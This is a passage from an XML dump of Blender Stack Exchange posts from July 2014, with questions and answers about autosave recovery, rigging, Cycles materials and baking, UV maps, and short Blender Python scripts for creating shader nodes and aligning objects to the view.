description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Temporary quit files (saved on quit)&lt;/h1&gt;&#xA;&lt;p&gt;These are also saved in your temporary directory, with the name &lt;code&gt;quit.blend&lt;/code&gt;.&#xA;You can quickly open it one by pressing &lt;em&gt;File &amp;gt; Recover last session&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZ7r8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Persistent save files for reverting accidental/unwanted saves (saved when saving)&lt;/h1&gt;&#xA;&lt;p&gt;These are saved as &lt;code&gt;.blend1&lt;/code&gt;, &lt;code&gt;.blend2&lt;/code&gt;, etc. files in the same directory as the current .blend.&#xA;.blend1 will be the file as it was the save before your last save, .blend2 will be the save before the save before your last save, etc.&lt;/p&gt;&#xA;&lt;p&gt;To open these files, navigate to the directory where your file was saved and enable backup files in the display filter:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQLCK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can configure the number of these to save in &lt;em&gt;User preferences &amp;gt; File&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuwTo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Without knowing more about your particular situation (how long it's been, has tmp been cleared, how often did you save, etc.), it's hard to say which will work best. There's no risk to trying them all, be beware that &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;\Temp&lt;/code&gt; is normally cleared out at some point, so get any useful backups out while you can.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-16T10:02:15.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="2" ParentId="14096" CreationDate="2014-07-16T09:59:35.203" Score="4" Body="&lt;p&gt;Simply move the armature object, or the root bone (in pose mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2UYPU.gif&quot; alt=&quot;Moving a rigged object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have rigged a character, you no longer need to move the mesh objects themselves (usually characters consist of several mesh objects). That would be very difficult to animate, and could not deform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in fact the purpose of rigging - to allow you to easily control and animate a character using bones rather than the original objects themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually a rig will have a &lt;em&gt;Master&lt;/em&gt; or &lt;em&gt;Root&lt;/em&gt; bone that is used to position, rotate and possibly scale the character. This bone is the final parent of all the bones in the rig (the first bone of each chain, if not parented to something else, is parented to the root)&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-07-16T09:59:35.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="1" CreationDate="2014-07-16T13:08:22.460" Score="0" ViewCount="85" Body="&lt;p&gt;Recently I asked this question and got a very nice answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13919/what-is-the-easiest-way-to-smooth-the-intersection-of-two-planes&quot;&gt;What is the easiest way to smooth the intersection of two planes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now I would like to use a different material for each face. Could anybody help me on how to do this? Written in python script would be best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mojmir.&lt;/p&gt;&#xA;" OwnerUserId="5154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-07-16T18:09:57.823" Title="How to split a beveled surface to two parts to use different materials" Tags="&lt;python&gt;&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-07-16T18:07:57.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="14107" PostTypeId="2" ParentId="14049" CreationDate="2014-07-16T13:29:39.783" Score="0" Body="&lt;p&gt;You have to first select all vertices (press &lt;kbd&gt;A&lt;/kbd&gt;) while in Edit Mode, in order to see them in the UV/Image Editor. Also, you need to select the vertices before Unrapping.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-16T13:29:39.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14108" PostTypeId="2" ParentId="14097" CreationDate="2014-07-16T13:34:25.707" Score="0" Body="&lt;p&gt;So far as I know, when baking with Cycles, the only way to bake to a texture is to create a texture and click on that node to make it the Active texture.  Whatever Texture Node is active is the one which will be baked to.  I reported something similar as a bug when Cycles Baking was still new and Brecht wrote back saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The image texture assignment workflow in Cycles is very different from&#xA;  Blender Internal, that's by design and has been working this way for&#xA;  years. Images are assigned to materials, and the image shown in the&#xA;  image editor is not automatically linked to the UV layer or object you&#xA;  select, that's separate.&#xA;  &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Texture_Editing&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Texture_Editing&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We can argue if this is good or bad, but can't consider it a bug.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's an example node setup snippet,  &lt;img src=&quot;https://i.stack.imgur.com/Ml4nx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps even though it's not a Python related answer.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-07-16T13:34:25.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14109" PostTypeId="1" CreationDate="2014-07-16T13:36:15.577" Score="2" ViewCount="494" Body="&lt;p&gt;A basic description of the catmull-clark subdivision algorithm can be found &lt;a href=&quot;http://en.wikipedia.org/wiki/Catmull-clark&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and on this &lt;a href=&quot;http://w3.impa.br/~lcruz/courses/cma/surfaces.html&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; (it seems that blender does not differentiate between corner and side case - tested with this &lt;a href=&quot;http://www.pasteall.org/52844/python&quot; rel=&quot;nofollow&quot;&gt;python script&lt;/a&gt;) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does blender calculate the catmull-clark subdivision mesh including edge creases?&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-16T13:36:15.577" Title="How does blender calculate the catmull-clark subdivision mesh including edge creases?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14110" PostTypeId="1" CreationDate="2014-07-16T13:45:00.107" Score="0" ViewCount="44" Body="&lt;p&gt;I started using blender for render a little time ago and today i'm experimenting this odd black spots/dots/zones issue when rendering with blender own render engine but not with the cycles one as you can see on the image attached.&#xA;Can you help me?&lt;img src=&quot;https://i.stack.imgur.com/jBglo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2014-07-16T14:20:42.793" Title="Blender inbuilt render engine black spots" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-07-16T17:04:06.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="14111" PostTypeId="1" CreationDate="2014-07-16T13:47:47.397" Score="0" ViewCount="1838" Body="&lt;ol&gt;&#xA;&lt;li&gt;I am using subsurface scattering node in cycles and want to change IOR of mesh (human muscle). But there is no option to do so. IOR option comes with Glass BSDF node but it changes my mesh appearance. Is there anyone how to to that?&lt;/li&gt;&#xA;&lt;li&gt;Does anyone know physical background (formulas, or law) behind subsurface scattering node in cycles. How much light will penetrate, etc? I checked in blender wiki but it is not stated there.&#xA;Thanks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5235" LastActivityDate="2014-07-20T13:34:03.597" Title="Changing IOR for Subsurface Scattering in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14114" PostTypeId="1" AcceptedAnswerId="14118" CreationDate="2014-07-16T16:06:24.113" Score="5" ViewCount="51018" Body="&lt;p&gt;As the titles says. With a material like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2i4i4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I get is: In the &quot;material&quot; view, the texture shows up fine, mapped like I want it to be, but in the rendered view, it's rendered in an average of the color of the texture (it's not just black, I tried another texture, a wood one, and the result was a shade of brown averaged from the texture colors). As you can see, though, the preview of the material shows up fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, with a material like this one: &lt;a href=&quot;https://i.stack.imgur.com/SMkUr.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMkUr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this: In the material view, the texture shows up but it's mapped incorrectly, BUT, in the rendered view, it shows up, but it's mapped incorrectly (obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO: I unwrapped another object (very roughly), applied the same shader as the first one (with coordinates set to UV) and the texture renders fine. What gives?&#xA;And, it definitely is an average of the color, because I even tried to draw some red stripes on the texture, because I thought that maybe the render was fine and it was some lightning quirk, but nope, non of the stripes showed up in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/0ak3fsuubr3jv3v/houseupload.blend&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5236" LastEditorUserId="5236" LastEditDate="2014-07-16T17:23:14.170" LastActivityDate="2017-09-14T04:57:44.800" Title="Cycles Material Texture not showing in render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="2" ParentId="14097" CreationDate="2014-07-16T16:23:21.107" Score="7" Body="&lt;p&gt;Here is an example that creates a Texture Image Node for the material &lt;code&gt;Material&lt;/code&gt; with Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;node_tree = bpy.data.materials['Material'].node_tree&#xA;&#xA;node = node_tree.nodes.new(&quot;ShaderNodeTexImage&quot;)&#xA;node.select = True&#xA;node_tree.nodes.active = node&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new node is selected and made the active node of the node tree.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-16T16:23:21.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="2" ParentId="14106" CreationDate="2014-07-16T17:23:50.863" Score="1" Body="&lt;p&gt;No script here but this is a possible node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rkisa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ihdXY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-16T18:09:57.823" LastActivityDate="2014-07-16T18:09:57.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14117" PostTypeId="2" ParentId="14114" CreationDate="2014-07-16T18:47:42.070" Score="1" Body="&lt;p&gt;If you UV unwrapped it, then from the Texture Coordinates node, connect the UV slot to the Vector of the Image Texture. I think that will do the trick. If not, try some of the other slots. I've had this problem a few times and most of the time I can resolve it this way, but not always.&lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2014-07-16T18:47:42.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14118" PostTypeId="2" ParentId="14114" CreationDate="2014-07-16T18:56:10.003" Score="8" Body="&lt;p&gt;Your UV map is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable it in &lt;em&gt;Properties &gt; Object &gt; UV maps&lt;/em&gt; by clicking the camera icon next to your UV map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/exhMa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-16T18:56:10.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14119" PostTypeId="2" ParentId="14085" CreationDate="2014-07-16T19:27:20.763" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T37659&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean operations sometimes fail&lt;/a&gt; when vertices between the two objects line up exactly.&lt;br&gt;&#xA;You can work around this by moving one of the objects a very small amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/30445&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/5140/599&quot;&gt;“Cannot execute boolean operation” when subtracting several spheres and cylinders from cube&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-07-16T19:43:13.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14120" PostTypeId="1" AcceptedAnswerId="14121" CreationDate="2014-07-16T20:05:07.497" Score="8" ViewCount="6964" Body="&lt;p&gt;I was just getting back into using Blender a few days ago and I must have hit a couple of buttons. But now I cannot get these dashed lines to go away. Does anybody know how I can make them go away?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NZvP5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="2217" LastEditDate="2014-07-16T20:26:23.057" LastActivityDate="2014-07-16T20:26:23.057" Title="What is this dashed box and how can I turn it off?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-17T04:06:02.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="14121" PostTypeId="2" ParentId="14120" CreationDate="2014-07-16T20:07:44.627" Score="11" Body="&lt;p&gt;It looks like you pressed &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; which enables texture space display and translates/grabs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable &lt;em&gt;Texture space display&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1rLO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you accidentally translated it, you may want to set it back to &lt;code&gt;0,0,0&lt;/code&gt; in &lt;em&gt;Properties &gt; Object data &gt; Texture space&lt;/em&gt; and re-enable &lt;em&gt;Auto texture space&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TspJP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-16T20:07:44.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14124" PostTypeId="1" CreationDate="2014-07-16T21:11:05.597" Score="2" ViewCount="66" Body="&lt;p&gt;I have an animation that's done in points that I want to automatically change to bones which I then want to put into a 3d model of a person so I can animate it. I realize I can just add the bones myself to the model, but since this already has the animation done this would save me from re-doing it. Is it even possible? I'm new to Blender and I've been doing a lot of searching for the answer. The only thing I found was from 3 years ago and that plugin no longer works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a pictures of what I have. It's a person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/86rNe.jpg&quot; alt=&quot;Points in Blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5241" LastActivityDate="2014-07-16T21:11:05.597" Title="Points to Armature?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14126" PostTypeId="1" AcceptedAnswerId="14130" CreationDate="2014-07-16T21:54:03.817" Score="2" ViewCount="760" Body="&lt;p&gt;I was trying to a add a plane primitive using Blender Python and aligning it to the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried setting &lt;code&gt;align_view = True&lt;/code&gt; when adding it via Python, but it doesn't change the rotation at all.&lt;/p&gt;&#xA;" OwnerUserId="5242" LastEditorUserId="1363" LastEditDate="2014-07-16T22:29:54.363" LastActivityDate="2014-07-16T22:46:36.930" Title="Align object to view with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14127" PostTypeId="2" ParentId="14111" CreationDate="2014-07-16T22:17:02.050" Score="0" Body="&lt;p&gt;For materials like skin you don't use index of refraction but you use index of reflection. You can achieve this by mixing your sss node with a glossy shader and change the amount of 'glossyness' as you like. Then you plug a color mix into the roughness value of the glossy node. Then you plug in a fresnel node with the IOR value you want into the factor. Then if you change the value of your two colors you are able to control the amount of specularity based on the angle of the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is what you are looking for!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Bert&lt;/p&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="241" LastEditDate="2014-07-16T22:25:19.727" LastActivityDate="2014-07-16T22:25:19.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14128" PostTypeId="2" ParentId="13932" CreationDate="2014-07-16T22:32:31.953" Score="0" Body="&lt;p&gt;You will have to convert your color map to a normal map and then assigning 2 normal maps in your texture slots. Then you will have to create a new image and bake the normals (not from multires). This way you have your 2 normal maps combined in 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Bert&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-16T22:32:31.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14130" PostTypeId="2" ParentId="14126" CreationDate="2014-07-16T22:46:36.930" Score="5" Body="&lt;p&gt;&lt;code&gt;bpy.ops.mesh.primitive_*()&lt;/code&gt; operators need to be run in a proper context (3D View) in order to use &lt;code&gt;align_view&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either run an operator via Spacebar menu, or use an override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                ctx = bpy.context.copy()&#xA;                ctx['area'] = area&#xA;                ctx['region'] = region&#xA;                bpy.ops.mesh.primitive_plane_add(ctx, view_align=True)&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there seems to be a bug, the plane appears to be in &lt;em&gt;Edit mode&lt;/em&gt;, but the UI reports &lt;em&gt;Object Mode&lt;/em&gt;, and the face may be missing.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-16T22:46:36.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14131" PostTypeId="1" AcceptedAnswerId="14132" CreationDate="2014-07-16T22:52:20.453" Score="2" ViewCount="286" Body="&lt;p&gt;I am learning Blender and I like to search tutorials but on some steps, I need to use BSDF but I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PIN9H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to change this?&lt;/p&gt;&#xA;" OwnerUserId="5217" LastActivityDate="2014-07-16T23:05:56.800" Title="BSDF options not availble in texture" Tags="&lt;materials&gt;&lt;workflow&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14132" PostTypeId="2" ParentId="14131" CreationDate="2014-07-16T23:05:56.800" Score="3" Body="&lt;p&gt;You have your render engine set to &lt;em&gt;Blender Render&lt;/em&gt;. Set it to Cycles instead by selecting &lt;em&gt;Cycles Render&lt;/em&gt; in &lt;em&gt;Info &gt; Header&lt;/em&gt; (at the top of the window by default):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bjk5N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/5820/599&quot;&gt;How is Cycles different from Blender Internal?&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-07-16T23:05:56.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14134" PostTypeId="1" AcceptedAnswerId="14161" CreationDate="2014-07-17T02:14:26.090" Score="5" ViewCount="1468" Body="&lt;p&gt;I am pretty good at manually modeling, but I would like to learn how to create meshes that are similar to the one in &lt;a href=&quot;http://vimeo.com/86894254&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;, specifically the one in the attached screenshot. I believe that it is possible to use nodes(?) or algorithms to generate things like this programmatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about learning to do something like this - are there tutorials/references someone can point me to? I am not sure what to search for. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9u8H.png&quot; alt=&quot;image of wave-like mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5227" LastActivityDate="2016-03-21T23:06:58.633" Title="How can I programmatically create a mesh similar to this one?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14135" PostTypeId="2" ParentId="8996" CreationDate="2014-07-17T06:13:37.743" Score="4" Body="&lt;p&gt;This has been added as of &lt;a href=&quot;https://developer.blender.org/rB6601136aaa9df5c813741ddb72daf1c2de5962f7&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.72).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v11Kq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recent &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;development build&lt;/a&gt; will have this.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-07-17T06:13:37.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14136" PostTypeId="1" AcceptedAnswerId="14144" CreationDate="2014-07-17T07:23:43.050" Score="2" ViewCount="562" Body="&lt;p&gt;I hope this question isn't too broad for Blender stackexchange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite often in my work I import topographical data specifying the flat geometry of buildings. I'm trying to make a script that put roofs on these buildings. I have some Python experiences, but I'm having a really tough time using Python in Blender, and haven't been able to find any in depth tutorials to help me on my way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal of this script is to iterate of all selected faces, check if they have four sides, extrude the faces, then scale the shortest edges to 0. I want to have the shortest edges so to roof aligns correctly. See the image for an example of what I want to achieve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G30Yn.gif&quot; alt=&quot;Before and after&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-07-17T16:23:45.067" Title="Trying to create a script that makes roofs on selected boxes" Tags="&lt;python&gt;&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14137" PostTypeId="1" AcceptedAnswerId="101801" CreationDate="2014-07-17T11:20:08.577" Score="1" ViewCount="4232" Body="&lt;p&gt;I'm trying to use &lt;code&gt;ray_cast()&lt;/code&gt; in Blender Python and I found that you need the local location of every object instead of the global location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started searching on the web and people said you have to do it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localPos = object.matrix_world_inverted() * target.location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this gives me the same coordinates as the global location...&lt;/p&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="1363" LastEditDate="2014-07-17T13:29:21.343" LastActivityDate="2018-02-26T09:19:17.493" Title="Converting global object location to local location in Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14138" PostTypeId="2" ParentId="14097" CreationDate="2014-07-17T11:38:09.067" Score="5" Body="&lt;p&gt;To expand on CoDEmanX's answer you may also want to create an image for the new node&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newimg = bpy.data.images.new('targetImg',1024,1024)&#xA;node.image = newimg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want to activate an existing image node for the active object -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matnodes = bpy.context.active_object.material_slots[0].material.node_tree.nodes&#xA;imgnodes = [n for n in matnodes if n.type == 'TEX_IMAGE']&#xA;for n in imgnodes:&#xA;    if n.image.name == 'targetImg':&#xA;        n.select = True&#xA;        matnodes.active = n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-17T11:38:09.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14139" PostTypeId="1" AcceptedAnswerId="14143" CreationDate="2014-07-17T12:01:20.843" Score="0" ViewCount="138" Body="&lt;p&gt;As Gandalf3 recently pointed out, Campbell has recently added code that allows for saving images externally. &#xA;This sounds like the feature which experimental branches of Bake-Cycles were using to save baked images automatically when a bake finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/D398&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/D398&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find it exposed in the UI so I assume for now it's hidden until this is all sorted out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be very useful for batch baking in scenes that already have dozens or more textures since finding everything that has just been baked can be difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have some script ideas on a simple way to access this new feature so that all images are checked for changes and saved if changes have been made?&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-07-17T13:27:44.973" Title="Accessing the new External Image Save functionality using Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14140" PostTypeId="1" AcceptedAnswerId="14142" CreationDate="2014-07-17T12:46:17.393" Score="4" ViewCount="393" Body="&lt;p&gt;Situation: I am setting up a Vignette effect for my scene. Like what I do normally, I have a lens distortion node, math node (set to 'greater than'), blur node, and a mix node (set to multiply).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: However, for this scene, the vignette effect seem to have a weird shape and it's not symmetrical either. Below is the result. How do I fix this? Thanks.&#xA;Here is my &lt;a href=&quot;http://www.pasteall.org/blend/30460&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/068s1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dsd5J.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TIMCm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="599" LastEditDate="2014-07-17T17:23:04.500" LastActivityDate="2014-07-17T17:23:04.500" Title="Vignette is distorted and not symmetrical" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
